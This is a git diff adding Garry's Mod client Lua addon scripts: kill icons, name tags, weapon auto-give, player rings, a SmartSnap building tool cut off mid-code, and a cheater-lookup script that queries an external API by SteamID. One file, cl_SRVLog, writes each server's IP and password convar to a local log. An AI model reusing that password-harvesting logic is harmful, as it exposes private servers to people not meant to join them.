+killicon.AddFont("trigger_hurt", "HL2MPTypeDeath", "5", KIRED) + +--gravgun killicon +killicon.AddFont("weapon_physcannon", "HL2MPTypeDeath", ",", KIRED) +killicon.AddFont("func_physbox", "HL2MPTypeDeath", ",", KIRED) +killicon.AddFont("func_physbox_multiplayer", "HL2MPTypeDeath", ",", KIRED) + + +killicon.AddFont("gmod_turret", "HL2MPTypeDeath", "/", Color(192, 0, 192, 255)) --purple + +--acid +killicon.Add("grenade_spit", "killicons/grenade_spit_killicon", GREEN2) --green +killicon.Add("AcidGrenade", "killicons/grenade_spit_killicon", GREEN2) --green + + +--fire +AddKillicon("env_fire","killicons/env_fire_killicon") +AddKillicon("entityflame","killicons/env_fire_killicon") + +--floor +AddKillicon("worldspawn","killicons/worldspawn_killicon") +AddKillicon("World","killicons/worldspawn_killicon") + +--boom +AddKillicon("env_explosion","killicons/env_explosion_killicon") +AddKillicon("env_physexplosion","killicons/env_explosion_killicon") + +--doors +AddKillicon("func_door","killicons/func_door_killicon") +AddKillicon("func_door_rotating","killicons/func_door_killicon") +AddKillicon("prop_door_rotating","killicons/func_door_killicon") +AddKillicon("func_rotating","killicons/func_door_killicon") +AddKillicon("func_rotate","killicons/func_door_killicon") + +--gravestone +AddKillicon("gravestone","killicons/gravestone_killicon") +AddKillicon("player","killicons/gravestone_killicon") + +--suicide +AddKillicon("suicide","killicons/suicide_killicon") + + +--weapons +killicon.Add("ent_mad_c4", "vgui/entities/weapon_mad_c4", color_white) --white +killicon.Add("hunter_flechette", "killicons/hunter_flechette_killicon", GREEN2) --green +killicon.AddFont("weapon_sniper","CSKillIcons","r", GREEN2) --green +killicon.AddFont("suicide_deagle", "CSKillIcons", "f", GREEN2) --green +killicon.AddFont("weapon_stridercannon", "HL2MPTypeDeath", "3", GREEN2) --green +killicon.AddFont("flechette_awp","CSKillIcons","r",GREEN2) --green +killicon.Add("weapon_acidshotgun", "killicons/grenade_spit_killicon", GREEN2) --green +killicon.AddFont("weapon_bulletnade", "HL2MPTypeDeath", "5", GREEN2) --green +killicon.AddFont("bullet_grenade", "HL2MPTypeDeath", "5", GREEN2) --green +--KH +killicon.AddFont("boomstick", "HL2MPTypeDeath", "0", GREEN2) --green +killicon.AddFont("kh_smg", "HL2MPTypeDeath", "/", GREEN2) --green +killicon.AddFont("plasma_rifle", "HL2MPTypeDeath", "2", GREEN2) --green +killicon.AddFont("sent_plasma", "HL2MPTypeDeath", "8", GREEN2) --green +--tripmines +killicon.AddFont("npc_tripmine", "HL2MPTypeDeath", "*", KIRED) +killicon.AddFont("npc_satchel", "HL2MPTypeDeath", "*", KIRED) + + + +language.Add("trigger_hurt", "God") +language.Add("World", "Gravity") +language.Add("worldspawn", "Gravity") + +language.Add("plasma_rifle", "Plasma Rifle") +language.Add("sent_plasma", "Plasma Bomb") + +language.Add("cycler_actor", "NPC") +language.Add("point_hurt", "NPC") +language.Add("npc_antlion_worker", "AcidLiON") +language.Add("grenade_spit", "Acid Spit") +language.Add("hunter_flechette", "Flechettes") +language.Add("item_item_crate", "Item Crate") +language.Add("env_explosion", "Dat Blast") +language.Add("env_physexplosion", "Dat Blast") +language.Add("entityflame", "Fire") +language.Add("env_fire", "Fire") +language.Add("env_laser", "Laz0r") +language.Add("env_beam", "Laz0r") +language.Add("func_door", "The Door") +language.Add("func_door_rotating", "The Door") +language.Add("prop_door_rotating", "The Door") +language.Add("func_rotating", "The Door") +language.Add("func_rotate", "The Door") +language.Add("func_tracktrain", "Fuckin' Railway") +language.Add("gmod_balloon", "Fuckin' Balloon") +language.Add("gmod_spawner", "Prop Spawner") +language.Add("gmod_thruster", "Rocket Engine") +language.Add("gmod_turret", "GMod Gun Turret") +language.Add("item_healthvial", "Health Vial (?!)") +language.Add("npc_bullseye", "Some Kinda Trigger") +language.Add("npc_clawscanner", "Claw Scanner") +language.Add("npc_grenade_frag", "Frag Grenade") +language.Add("npc_helicopter", "Combine Choppa") +language.Add("phys_magnet", "Fuckin' Magnet") +language.Add("prop_combine_ball", "Combine Energy Ball") +language.Add("prop_physics_multiplayer", "Multiplayer Physics Prop") +language.Add("prop_ragdoll_attached", "Ragdoll") +language.Add("prop_vehicle_apc", "Combine APC") +language.Add("prop_vehicle_jeep", "Jeep") +language.Add("prop_vehicle_pod", "The Chair") +language.Add("prop_vehicle_prisoner_pod", "The Chair") +language.Add("weapon_striderbuster", "Magnusson Device") +language.Add("func_physbox", "Physbox") +language.Add("func_physbox_multiplayer", "Physbox") + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_NameTags.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_NameTags.lua new file mode 100644 index 0000000..fd99355 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_NameTags.lua @@ -0,0 +1,38 @@ + + +local Enabled = CreateClientConVar("hex_nametags", 1, true, false) + + +surface.CreateFont("coolvetica", 40, 400, true, false, "CV20", true) +local offset = Vector(0,0,85) + + +function HeX.ShowNameTags(ply) + if not (Enabled:GetBool() and ValidEntity(ply) and ply:Alive() and ply != LocalPlayer()) then return end + + local ang = LocalPlayer():EyeAngles() + local pos = ply:GetPos() + offset + ang:Up() + local col = team.GetColor(ply:Team()) + + ang:RotateAroundAxis(ang:Forward(), 90) + ang:RotateAroundAxis(ang:Right(), 90) + + cam.Start3D2D(pos, Angle(0, ang.y, 90), 0.25) + draw.DrawText(ply:Nick(), "CV20", 2, 2, col, TEXT_ALIGN_CENTER) + cam.End3D2D() +end + + + +timer.Simple(1, function() + if (HSP and HSP.ShowNameTags) then + hook.Remove("PostPlayerDraw", "HSP.ShowNameTags") + print("[HeX] Removed HSP.ShowNameTags, loading custom") + end + + hook.Add("PostPlayerDraw", "HeX.ShowNameTags", HeX.ShowNameTags) +end) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_PlayerSpawn.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_PlayerSpawn.lua new file mode 100644 index 0000000..c5d3d44 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_PlayerSpawn.lua @@ -0,0 +1,78 @@ + + +local Enabled = CreateClientConVar("hex_givesweps", 1, true, false) + +local function HCallPlayerSpawn() + for k,v in pairs( player.GetAll() ) do + if ValidEntity(v) then + local Alive = v:Alive() + + if Alive then + if not v.DoneOne then + v.DoneOne = true + v.DoneTwo = false + hook.Call("LocalPlayerSpawn", nil, v) + end + else + if not v.DoneTwo then + v.DoneTwo = true + v.DoneOne = false + hook.Call("LocalPlayerDeath", nil, v) + end + end + end + end +end +hook.Add("Think", "HCallPlayerSpawn", HCallPlayerSpawn) + + +local meta = FindMetaTable("Player") +function meta:SelectWeapon(kwc) + if not self == LocalPlayer() then + ErrorNoHalt("Can't call meta:SelectWeapon on non-LocalPlayer!\n", 2) + return + end + + RunConsoleCommand("use", kwc) +end +function meta:Give(kwc) + if not self == LocalPlayer() then + ErrorNoHalt("Can't call meta:Give on non-LocalPlayer!\n", 2) + return + end + + RunConsoleCommand("gm_giveswep", kwc) +end +function meta:Spawn(kwc) + if not self == LocalPlayer() then + ErrorNoHalt("Can't call meta:Spawn on non-LocalPlayer!\n", 2) + return + end + + RunConsoleCommand("+jump") + timer.Simple(0.1, RunConsoleCommand, "-jump") +end + + +local function GiveAK47(ply) + if Enabled:GetBool() and ply == LocalPlayer() then + ply:Give("weapon_tmp") + ply:Give("weapon_ak47") + ply:SelectWeapon("weapon_physgun") + end +end +hook.Add("LocalPlayerSpawn", "GiveAK47", GiveAK47) + + +--[[ +local function LocalPlayerDeath(ply) + print("! dead: ", ply) +end +hook.Add("LocalPlayerDeath", "LocalPlayerDeath", LocalPlayerDeath) +]] + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Rings.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Rings.lua new file mode 100644 index 0000000..f115b29 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Rings.lua @@ -0,0 +1,42 @@ + + + +local Enabled = CreateClientConVar("hex_rings", 1, true, true) +local Alpha = CreateClientConVar("hex_rings_alpha", 60, true, true) +local Mat = Material("SGM/playercircle") + +local StartOffset = Vector(0,0,50) +local EndOffset = Vector(0,0,-300) +local TraceLine = {} + +function HeX.ShowPlayerRings(ply) + if ValidEntity(ply) and Enabled:GetBool() and not ply:InVehicle() then + TraceLine.start = ply:GetPos() + StartOffset + TraceLine.endpos = TraceLine.start + EndOffset + TraceLine.filter = ply + + local trace = util.TraceLine(TraceLine) + if not trace.HitWorld then + trace.HitPos = ply:GetPos() + end + + local col = ply:TeamColor() + render.SetMaterial(Mat) + render.DrawQuadEasy( trace.HitPos + trace.HitNormal, trace.HitNormal, 48, 48, Color(col.r,col.g,col.b,Alpha:GetInt()) ) + end +end + + +timer.Simple(1, function() + if (HSP and HSP.ShowPlayerRings) then + hook.Remove("PrePlayerDraw", "HSP.ShowPlayerRings") + print("[HeX] Removed HSP.ShowPlayerRings, loading custom") + end + + hook.Add("PrePlayerDraw", "HeX.ShowPlayerRings", HeX.ShowPlayerRings) +end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SRVLog.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SRVLog.lua new file mode 100644 index 0000000..93771fc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SRVLog.lua @@ -0,0 +1,73 @@ + +_G.LogTable = {} +_G.SRVLog = "" + +function HeX.SRVLog(bypass) + local LogFile = Format("SRVLog/%s.txt", os.date("%d-%m-%Y_%A")) + local ServerFullDate = os.date("%d-%m-%y %I:%M%p") + + local ServerIP = "E.E.E.E" + if client and client.GetIP then + ServerIP = tostring( client.GetIP() ) + end + + local Nick = LocalPlayer():Nick() + if friends and friends.GetPersonaName then + Nick = friends.GetPersonaName() + end + + local ServerPW = GetConVarString("sv_password") + if (ServerPW == "" or ServerPW == "beta") then + ServerPW = GetConVarString("password") + + if (ServerPW == "" or ServerPW == "beta") then + ServerPW = "None" + end + end + + + LogTable = { + Format("[%s]\n", ServerFullDate), + Format("%s\n", GetHostName() ), + Format("IP: %s\n", ServerIP), + Format("PW: %s\n", ServerPW), + Format("GM: %s\n", GAMEMODE.Name), + Format("Players: %s/%s\n", #player.GetAll(), MaxPlayers() ), + Format("Map: %s\n", game.GetMap() ), + Format("Nick: %s\n", Nick), + Format("Ver: U%s\n", VERSION), + } + + local LogStr = "" + for k,v in ipairs(LogTable) do + LogStr = LogStr..v + end + SRVLog = LogStr + + if not bypass then + LogStr = LogStr.."\n" + + if not file.Exists(LogFile) then + file.Write(LogFile, Format("HeX's Server Log created at [%s]\n\n", ServerFullDate) ) + end + file.Append(LogFile, LogStr) + + Msg("\nSRVLogged:\n\n"..LogStr) + end +end +concommand.Add("srvlog_logserver", function() HeX.SRVLog() end) + +timer.Simple(5, function() + if not SinglePlayer() then + HeX.SRVLog() + end +end) + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_ScreenLogger.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_ScreenLogger.lua new file mode 100644 index 0000000..84db754 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_ScreenLogger.lua @@ -0,0 +1,21 @@ + + + + + +local Hight = ScrH() - 20 + +local function ScreenLogger() + if client.IsTakingScreenshot() then + if not _G.SRVLog then return end + + local LogStr = _G.SRVLog:gsub("\n", " | ") + + draw.SimpleText(LogStr, "TabLarge", 10, Hight, RED) + end +end +hook.Add("HUDPaint", "ScreenLogger", ScreenLogger) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SkidCheck.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SkidCheck.lua new file mode 100644 index 0000000..57edc77 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SkidCheck.lua @@ -0,0 +1,266 @@ + +local Skiddies = {} + +--- Setup Skiddie lists --- +Bulk = {} +SHers = {} + +HeX.include("HeX/hx_SkidList.lua") + +local function Merge(tab) + for k,v in pairs(tab) do + Skiddies[k] = v + end + tab = nil +end +Merge(Bulk) +Merge(SHers) + +Bulk = nil +SHers = nil + + +local function SBCheckPlayer(ply) + http.Get("http://sethblock.tk/api.php?user="..ply:SteamID(), "", function(what,size) + if ValidEntity(ply) and what:find("SethHack") then + ply.IsSethBlock = true + end + end) +end + +local function SBEntityCreated(ent) + if ValidEntity(ent) and ent:IsPlayer() and (ent != LocalPlayer()) then + SBCheckPlayer(ent) + end +end +hook.Add("OnEntityCreated", "SkidCheck", SBEntityCreated) + + + + +local StartSB = nil +local Done = {} + +local function SkidCheck() + for k,v in pairs( player.GetHumans() ) do + if not ValidEntity(v) then continue end + + if not StartSB then + StartSB = true + + timer.Simple(k, function() + if ValidEntity(v) then + SBCheckPlayer(v) + end + end) + end + + + local SID = v:SteamID() + local Tab = Skiddies[SID] + + if Tab and not Done[SID] then + local Name = (Tab.Name or v:Nick()).." ("..SID..")" + local wSound = Sound("npc/scanner/combat_scan"..math.random(1,3)..".wav") + local bSound = nil + local DoTab = nil + + if Tab.SH then + DoTab = true + bSound = true + + chat.AddText(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", v, GREY, " is a ", RED, "SETHHACKER! ", GREEN, Name) + + elseif v.IsSethBlock then + v.IsSethBlock = nil + DoTab = true + bSound = true + + chat.AddText(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", v, GREY, " is on ", RED, "SethBlock! ", GREEN, Name) + + elseif Tab.Skid then + DoTab = true + chat.AddText(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", v, GREY, " is a ", KCHEAT, "Skiddie! ", GREEN, Name) + + else + DoTab = true + chat.AddText(GREY, "[", color_white, "Skid", BLUE, "Check", GREY, "]: ", v, GREY, " is ", PINK, Name) + end + + if DoTab then Done[SID] = true end + if bSound then wSound = Sound("ambient/machines/thumper_shutdown1.wav") end + surface.PlaySound(wSound) + end + end +end +timer.Create("SkidCheck", 5, 0, SkidCheck) + + +local function ResetSkiddies(ply,cmd,args) + StartSB = nil + Done = {} + + print("[SkidCheck] Messages reset, expect spam in 5s!") +end +concommand.Add("sk_reset", ResetSkiddies) + + + + +--- === Parsers / Dumpers === --- +local function SKDumpForHAC(ply,cmd,args) + for k,v in pairs(Skiddies) do + local Name = v.Name or "None" + local IsSH = v.SH + + if IsSH then + file.Write("skiddies/"..k:gsub(":","_")..".txt", Format("SH\n%s\nSKDump", Name) ) + end + end + + print("[SkidCheck] Dumped all SHers in HAC format to data/skiddies/") +end +concommand.Add("sk_dump_hac", SKDumpForHAC) + + +local THIS_RUN_NAME = "CrowBarGaming: " +local function ProcessLogOfIDS(ply,cmd,args) + if (#args == 0) then + print("! no args") + return + end + + local Kfile = args[1]:gsub(".txt", "") + + local Data = file.Read(Kfile..".txt") + + if not Data then + print("! no file for "..Data) + return + end + + local KTab = string.Explode("\n", Data) + + local Temp = {} + for k,v in pairs(KTab) do + if v:find("NoInit") then continue end --SSHD log + + local SID = v:match("(STEAM_(%d+):(%d+):(%d+))") + --local Name = THIS_RUN_NAME + local Name = Format("%s%s", THIS_RUN_NAME, v:match("Logged: (.+)STEAM") ) + --local Name = Format("%s%s", THIS_RUN_NAME, v:match(";(.+)") ) + + Name = Name:Replace(" (", "") + print("! SID,Name: ", SID, Name) + + if not (Name and SID) then continue end + + local Tab = {Name = Name, SID = SID} + if not Temp[ SID ] then + Temp[ SID ] = Tab + end + end + + local this = 0 + local tot = 0 + for k,v in pairs(Temp) do + tot = tot + 1 + local Name = v.Name + local SID = v.SID + + if not Skiddies[ SID ] then + --if not SHers[ SID ] then + this = this + 1 + --local str = Format('\t["%s"] = {Name = "%s", SH = true},\n', SID, Name) + local str = Format('\t["%s"] = {Name = "%s", Skid = true},\n', SID, Name) + file.Append("sk_processed_"..Kfile..".txt", str) + end + end + + print("! saved "..this.." new SHers! (out of "..tot.." total in: "..Kfile..")") +end +concommand.Add("sk_process", ProcessLogOfIDS) + + +--[[ +for k,v in pairs(NewSkid) do + local Tab = Skiddies[v] + + if Tab then + /* + local Name = (Tab.Name or v).." ("..v..")" + + if Tab.SH then + print(v, " is a SETHHACKER! ", Name) + elseif Tab.Skid then + print(v, " is a Known Cheater! ", Name) + else + print(v, " is ", Name) + end + */ + else + local Name = "Blackops" + local IsSH = true + + local str = "" + if Name then + str = str..'Name = "'..Name..'", ' + end + + local log = "bulk.txt" + if IsSH then + log = "seth.txt" + str = str.."SH = true" + else + str = str.."Skid = true" + end + + local Skid = Format('\t["%s"] = {%s},\n', v, str) + file.Append(log, Skid) + end +end + + + + + + +local NewTot = {} + +local i = 0 +for k,v in pairs(NewTot) do + i = i + 1 + local Name = v.Name + local IsSH = v.SH + + local str = "" + if Name then + str = str..'Name = "'..Name..'", ' + end + + local log = "bulk.txt" + if IsSH then + log = "seth.txt" + str = str.."SH = true" + else + str = str.."Skid = true" + end + + local Skid = Format('\t["%s"] = {%s},\n', k, str) + file.Append(log, Skid) +end + +print("! saved "..i.." cheaters!") + +]] + + + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SmartSnap.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SmartSnap.lua new file mode 100644 index 0000000..1bc2ddc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_SmartSnap.lua @@ -0,0 +1,790 @@ +// Written by Syranide, me@syranide.com Fixed By Raklatif :D + + +local target = { active = false } +local snaptarget = { active = false } +local snapkey = false +local snaptime = false +local snaplock = false +local snapclick = false +local snapclickfade = 0 +local snapcursor = false +local snapspawnmenu = false + +local cache = { + vPlayerPos = 0, + vLookPos = 0, + vLookClipPos = 0, + vLookVector = 0, +} + +local condefs = { + snap_enabled = 1, + snap_gcboost = 1, + snap_gcstrength = 125, + snap_hidegrid = 0, + snap_clickgrid = 0, + snap_toggledelay = 0, + snap_disableuse = 0, + snap_allentities = 0, + snap_alltools = 0, + snap_enabletoggle = 0, + snap_lockdelay = 0.5, + snap_distance = 250, + snap_gridlimit = 16, + snap_gridsize = 8, + snap_gridalpha = 0.4, + snap_gridoffset = 0.5, + snap_boundingbox = 1, + snap_revertaim = 1, + snap_centerline = 1, +} + +local convars = {} + +for key,value in pairs(condefs) do + convars[#convars + 1] = key +end + + +local modelsaveset = {} +local modeloffsets = {} + +--------- + +local function DrawScreenLine(vsA, vsB) + surface.DrawLine(vsA.x, vsA.y, vsB.x, vsB.y) +end + +local function ToScreen(vWorld) + local vsScreen = vWorld:ToScreen() + return Vector(vsScreen.x, vsScreen.y, 0) +end + +local function PointToScreen(vPoint) + if cache.vLookVector:DotProduct(vPoint - cache.vLookClipPos) > 0 then + return ToScreen(vPoint) + end +end + +local function LineToScreen(vStart, vEnd) + local dotStart = cache.vLookVector:DotProduct(vStart - cache.vLookClipPos) + local dotEnd = cache.vLookVector:DotProduct(vEnd - cache.vLookClipPos) + + if dotStart > 0 and dotEnd > 0 then + return ToScreen(vStart), ToScreen(vEnd) + elseif dotStart > 0 or dotEnd > 0 then + local vLength = vEnd - vStart + local vIntersect = vStart + vLength * ((cache.vLookClipPos:DotProduct(cache.vLookVector) - vStart:DotProduct(cache.vLookVector)) / vLength:DotProduct(cache.vLookVector)) + + if dotStart <= 0 then + return ToScreen(vIntersect), ToScreen(vEnd) + else + return ToScreen(vStart), ToScreen(vIntersect) + end + end +end + +local function RayQuadIntersect(vOrigin, vDirection, vPlane, vX, vY) + local vp = vDirection:Cross(vY) + + local d = vX:DotProduct(vp) + if (d <= 0.0) then return end + + local vt = vOrigin - vPlane + local u = vt:DotProduct(vp) + if (u < 0.0 or u > d) then return end + + local v = vDirection:DotProduct(vt:Cross(vX)) + if (v < 0.0 or v > d) then return end + + return Vector(u / d, v / d, 0) +end + +------------ + +local function OnInitialize() + for key,value in pairs(condefs) do + CreateClientConVar(key, value, true, false) + end + + for _,filename in ipairs(file.Find('smartsnap_offsets_*.txt')) do + local file = file.Read(filename) + if file then + lines = string.Explode("\n", file) + header = table.remove(lines, 1) + if header == "SMARTSNAP_OFFSETS" then + for _,line in ipairs(lines) do + local pos = string.find(line, '=') + if pos then + local key = string.lower(string.Trim(string.sub(line, 1, pos - 1))) + local value = string.Trim(string.sub(line, pos + 1)) + + local c = string.Explode(",", value) + modeloffsets[key]= { tonumber(c[1]), tonumber(c[2]), tonumber(c[3]), tonumber(c[4]), tonumber(c[5]), tonumber(c[6]) } + end + end + end + end + end +end + +local function OnShutDown() +--[[ + output = file.Read('smartsnap_offsets_custom.txt') + if output == nil then + output = "SMARTSNAP_OFFSETS\n" + end + + for model,_ in pairs(modelsaveset) do + output = output .. model .. '=' .. table.concat(modeloffsets[model], ",") .. "\n" + end + + file.Write('smartsnap_offsets_custom.txt', output) + ]] +end + +local function GetDevOffset() + local model = string.lower(target.entity:GetModel()) + + if modeloffsets[model] == nil then + modeloffsets[model] = { 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 } + end + + return modeloffsets[model] +end + +concommand.Add("snap_dev_alloffset", function(player, command, arguments) if target.active == true then if #arguments >= 1 then local v = GetDevOffset() for i=1,6 do v[i] = v[i] + tonumber(arguments[1]) end end end end) +concommand.Add("snap_dev_gridoffset", function(player, command, arguments) if target.active == true then if #arguments >= 1 then local v = GetDevOffset() v[target.face] = v[target.face] + tonumber(arguments[1]) end end end) +concommand.Add("snap_dev_saveoffset", function(player, command, arguments) if target.active == true then local v = GetDevOffset() modelsaveset[string.lower(target.entity:GetModel())] = true end end) + +local function SnapToggleGrid() + if (GetConVarNumber("snap_enabled") == 0) then + RunConsoleCommand('snap_enabled', '1') + else + RunConsoleCommand('snap_enabled', '0') + end +end + +local function SnapPress() + if GetConVarNumber("snap_clickgrid") != 0 and !snapclick then + snapclick = true + snapclickfade = CurTime() + elseif GetConVarNumber("snap_clickgrid") == 0 or snapclick then + if (snaplock or snapcursor) then + snaptime = false + else + local toggledelay = GetConVarNumber("snap_toggledelay") + if (toggledelay > 0 and snaptime and snaptime + toggledelay > CurTime()) then + SnapToggleGrid() + snaptime = false + snaplock = false + else + snaptime = CurTime() + end + end + + snapkey = target.active + + if (!snapcursor) then + snaplock = false + end + end +end + +local function SnapRelease() + snapkey = false +end + +local function SnapLock() + snaplock = !snaplock +end + +local function OnSpawnMenu() + snapspawnmenu = true +end + +local function OnKeyPress(player, key) + if (key == IN_USE and GetConVarNumber("snap_disableuse") == 0) then + SnapPress() + end +end + +local function OnKeyRelease(player, key) + if (key == IN_USE and GetConVarNumber("snap_disableuse") == 0) then + SnapRelease() + end +end + +local function OnThink() + if (vgui.CursorVisible()) then + if (!snapcursor and snaplock) then + snaptarget = table.Copy(target) + end + + snaptime = false + snapcursor = true + else + if (snapcursor and snaplock) then + target = snaptarget + end + + snapspawnmenu = false + snapcursor = false + end + + if (GetConVarNumber("snap_enabletoggle") != 0) then + if (snapkey and snaptime and !snaplock) then + if (CurTime() > snaptime + GetConVarNumber("snap_lockdelay")) then + snaplock = true + snaptime = false + end + end + end + + local locked = target.locked and target.active + target.locked = (snapkey or snaplock and !snapcursor) and target.active + + if (!target.locked and locked and GetConVarNumber("snap_revertaim") != 0) then + if (snapcursor) then + local screen = target.entity:LocalToWorld(target.vector):ToScreen() + gui.SetMousePos(math.Round(screen.x), math.Round(screen.y)) + else + local angles = (target.entity:LocalToWorld(target.vector) - LocalPlayer():GetShootPos()):Angle() + LocalPlayer():SetEyeAngles(angles) + end + end +end + +local function CalculateGridAxis(L) + local length = L:Length() + local grid = math.Clamp(math.floor(length / (2 * GetConVarNumber("snap_gridsize"))) * 2, 2, GetConVarNumber("snap_gridlimit")) + local offset = math.Clamp(GetConVarNumber("snap_gridoffset") / length, 0, 1 / grid) + local scale = 1 - offset * 2 + + return { + length = length, + offset = offset, + scale = scale, + grid = grid, + } +end + +local function CalculateSnap(X, Y, v) + local LX = CalculateGridAxis(X) + local LY = CalculateGridAxis(Y) + + local BX = math.Clamp(math.Round(v.x * LX.grid), 0, LX.grid) + local BY = math.Clamp(math.Round(v.y * LY.grid), 0, LY.grid) + + if BX == 1 and v.x < (1 / LX.grid + LX.offset) / 2 then BX = 0 end + if BX == LX.grid - 1 and v.x > 1 - (1 / LX.grid + LX.offset) / 2 then BX = LX.grid end + if BY == 1 and v.y < (1 / LY.grid + LY.offset) / 2 then BY = 0 end + if BY == LY.grid - 1 and v.y > 1 - (1 / LY.grid + LY.offset) / 2 then BY = LY.grid end + + local RX = X * (BX / LX.grid) + local RY = Y * (BY / LY.grid) + + if BX == 0 then RX = X * math.Clamp(LX.offset, 0, 1 / LX.grid) end + if BX == LX.grid then RX = X * (1 - math.Clamp(LX.offset, 0, 1 / LX.grid)) end + if BY == 0 then RY = Y * math.Clamp(LY.offset, 0, 1 / LY.grid) end + if BY == LY.grid then RY = Y * (1 - math.Clamp(LY.offset, 0, 1 / LY.grid)) end + + return RX + RY +end + +local function DrawGridLines(vOrigin, vSX, vSY, gridLines, offsetX, offsetY, sign) + local centerline = (GetConVarNumber("snap_centerline") != 0) + + local vTemp = vOrigin + vSX * 0.5 + local vX = vTemp + vSY * (offsetY) + local vY = vTemp + vSY * (1 - offsetY) + + local vOffset, temp + local vsNormal = (ToScreen(vX) - ToScreen(vY)):Normalize() + + if math.abs(vsNormal.x) < 1 - math.abs(vsNormal.y) then temp = -0.5 * sign else temp = 0.5 * sign end + if math.abs(vsNormal.x) < math.abs(vsNormal.y) then vsOffset = Vector(temp, 0, 0) else vsOffset = Vector(0, temp, 0) end + + if offsetX < 1 / gridLines then + local vTemp = vOrigin + vSX * offsetX + local vX = vTemp + vSY * offsetY + local vY = vTemp + vSY * (1 - offsetY) + + local vsX, vsY = LineToScreen(vX, vY) + if (vsX) then DrawScreenLine(vsX + vsOffset, vsY + vsOffset) end + end + + for i = 1,gridLines-1 do + local vTemp = vOrigin + vSX * (i / gridLines) + local vX = vTemp + vSY * offsetY + local vY = vTemp + vSY * (1 - offsetY) + + local vsX, vsY = LineToScreen(vX, vY) + + if (vsX) then + if (gridLines / i == 2 && centerline) then + DrawScreenLine(vsX + vsOffset * -1, vsY + vsOffset * -1) + DrawScreenLine(vsX + vsOffset * 3, vsY + vsOffset * 3) + else + DrawScreenLine(vsX + vsOffset, vsY + vsOffset) + end + end + end + + if offsetX < 1 / gridLines then + local vTemp = vOrigin + vSX * (1 - offsetX) + local vX = vTemp + vSY * offsetY + local vY = vTemp + vSY * (1 - offsetY) + + local vsX, vsY = LineToScreen(vX, vY) + if (vsX) then DrawScreenLine(vsX + vsOffset, vsY + vsOffset) end + end +end + +local function DrawGrid(vOrigin, vSX, vSY) + local LX = CalculateGridAxis(vSX) + local LY = CalculateGridAxis(vSY) + + surface.SetDrawColor(0, 0, 0, math.Round(GetConVarNumber("snap_gridalpha") * 255)) + DrawGridLines(vOrigin, vSX, vSY, LX.grid, LX.offset, LY.offset, 1) + DrawGridLines(vOrigin, vSY, vSX, LY.grid, LY.offset, LX.offset, 1) + + surface.SetDrawColor(255, 255, 255, math.Round(GetConVarNumber("snap_gridalpha") * 255)) + DrawGridLines(vOrigin, vSX, vSY, LX.grid, LX.offset, LY.offset, -1) + DrawGridLines(vOrigin, vSY, vSX, LY.grid, LY.offset, LX.offset, -1) +end + +local function DrawBoundaryLines(vOrigin, vOpposite) + local vPoint + + if (vOrigin:Distance(vOpposite) > 5) then + vPoint = vOrigin + (vOpposite - vOrigin):Normalize() * 5 + else + vPoint = vOrigin + (vOpposite - vOrigin) / 2 + end + + local vsA, vsB = LineToScreen(vPoint, vOrigin) + + if (vsA) then + surface.SetDrawColor(0, 0, 255, 192) + DrawScreenLine(vsA, vsB) + end +end + +local function DrawBoundary(vOrigin, vX, vY, vZ) + DrawBoundaryLines(vOrigin, vX) + DrawBoundaryLines(vOrigin, vY) + DrawBoundaryLines(vOrigin, vZ) +end + +local function DrawSnapCross(vsCenter, r, g, b) + surface.SetDrawColor(0, 0, 0, 255) + DrawScreenLine(vsCenter + Vector(-2.5, -2.0), vsCenter + Vector( 2.5, 3.0)) + DrawScreenLine(vsCenter + Vector( 1.5, -2.0), vsCenter + Vector(-3.5, 3.0)) + + surface.SetDrawColor(r, g, b, 255) + DrawScreenLine(vsCenter + Vector(-1.5, -2.0), vsCenter + Vector( 3.5, 3.0)) + DrawScreenLine(vsCenter + Vector( 2.5, -2.0), vsCenter + Vector(-2.5, 3.0)) +end + +local function ComputeEdges(entity, obbmax, obbmin) + return { + 